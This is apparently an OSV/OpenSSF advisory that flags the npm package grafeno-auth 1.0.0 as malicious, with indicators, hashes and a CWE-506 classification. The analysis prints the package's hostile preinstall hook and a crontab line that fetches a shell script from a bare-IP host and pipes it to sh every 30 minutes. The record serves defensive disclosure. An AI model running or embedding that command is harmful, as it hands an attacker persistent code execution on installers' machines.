MAL-2026-15502

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-auth/MAL-2026-15502.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15502
Published
2026-08-28T23:01:43Z
Modified
2026-08-28T23:45:13.620871951Z
Summary
Malicious code in grafeno-auth (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a)

package.json declares a preinstall hook that shells out via node -e / child_process to curl http://216.126.236.46/x.sh over plain HTTP and pipes the response to sh, then appends a crontab entry ('*/30 * * * * curl -s 216.126.236.46/x.sh|sh') that re-fetches and re-executes the same URL every 30 minutes. The shipped index.js is an inert stub exporting a no-op login function, so the manifest's lifecycle hook is the package's only real behavior. Running npm install executes attacker-controlled code from a bare-IP HTTP endpoint on the installer's host and establishes persistent remote code delivery via cron; the payload at that URL is mutable by the operator of the IP.

Source: ossf-package-analysis (99cc2c553314bb426724c65f313119212461879d87e65dd3488c32cfcd98d0be)

The OpenSSF Package Analysis project identified 'grafeno-auth' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.
Database specific 
{
    "malicious-packages-origins": [
        {
            "versions": [
                "1.0.0"
            ],
            "sha256": "c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a",
            "import_time": "2026-08-28T23:14:35.296422356Z",
            "modified_time": "2026-08-28T23:01:43Z",
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-019061"
        },
        {
            "sha256": "99cc2c553314bb426724c65f313119212461879d87e65dd3488c32cfcd98d0be",
            "source": "ossf-package-analysis",
            "modified_time": "2026-08-28T23:17:53Z",
            "import_time": "2026-08-28T23:38:00.716997459Z",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / grafeno-auth

Package

Name
grafeno-auth
View open source insights on deps.dev
Purl
pkg:npm/grafeno-auth

Affected ranges

Affected versions

1.*
1.0.0

Database specific

indicators 
{
    "package_integrity": [
        {
            "filename": "grafeno-auth-1.0.0.tgz",
            "hashes": {
                "sha1": "c962ec21270fedc416edbebd8741c402833971f7",
                "sha512_sri": "sha512-qO6UPhHycEsOL4vLO6RboB1FNslZCimBWketM1czog2jcuh6l++T3roHMIHZqXz3I+S+OI4KTWvF1Rnb2M8Fiw=="
            }
        }
    ],
    "evidence_files": [
        {
            "sha256": "87c4dd457e2fd50eb675dcdee973d77f867b152799c8438d424d9a238d573efc",
            "path": "package.json",
            "tlsh": "9af05cf09c20f9b36a4e01702a7942b6f7d3499a0d08ac045b0a0158f1de3e35db989b"
        },
        {
            "sha256": "2fe4990ebe88dbe4aae748964241f38320310af6206ec9841a5cc1dff360e0a3",
            "path": "index.js",
            "tlsh": "1b9002065398b25f4509ba15f945940b298b48910151891822e86964144795ca150c88"
        }
    ]
}
cwes 
[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-auth/MAL-2026-15502.json"